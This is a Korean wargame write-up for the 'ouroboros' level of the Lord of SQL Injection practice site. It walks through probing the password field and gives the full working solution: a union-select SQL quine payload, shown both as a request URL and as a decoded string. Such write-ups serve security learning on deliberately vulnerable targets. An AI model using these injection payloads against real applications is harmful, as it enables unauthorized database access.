> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/lord-of-sqlinjection/ouroboros.md).

# ouroboros

첫 화면이다.

![](/files/-M-iEQdGkMMO9i31JvvQ)

pw에 `' or length(pw)>0#`  넣어봤지만 아무 결과도 나오지 않았다.

![](/files/-M-iIXrBIo5vV-h7y0UJ)

테이블을 비워둔 것으로 추측하였다.

pw에 `' union select 1#` 을 넣어보니 아래와 같았다.

![](/files/-M-iIQ9rnwUuk6qtitUt)

즉, 자기 자신의 소스코드를 출력하는 quine을 이용해 풀어야 하는 문제이다.

<https://los.rubiya.kr/chall/ouroboros_e3f483f087c922c84373b49950c212a9.php?pw=%27%20union%20select%20replace(replace(%27%22%20union%20select%20replace(replace(%22$%22,char(34),char(39)),char(36),%22$%22)%20as%20%22quine%27,char(34),char(39)),char(36),%27%22%20union%20select%20replace(replace(%22$%22,char(34),char(39)),char(36),%22$%22)%20as%20%22quine%27)%20as%20%27quine> 에 접속하면 문제가 풀린다.

![](/files/-M-iMkwgTTfC4LRDtssh)

pw에 아래 문자열을 넣은 셈이다.

`' union select replace(replace('" union select replace(replace("$",char(34),char(39)),char(36),"$") as "quine',char(34),char(39)),char(36),'" union select replace(replace("$",char(34),char(39)),char(36),"$") as "quine') as 'quine`
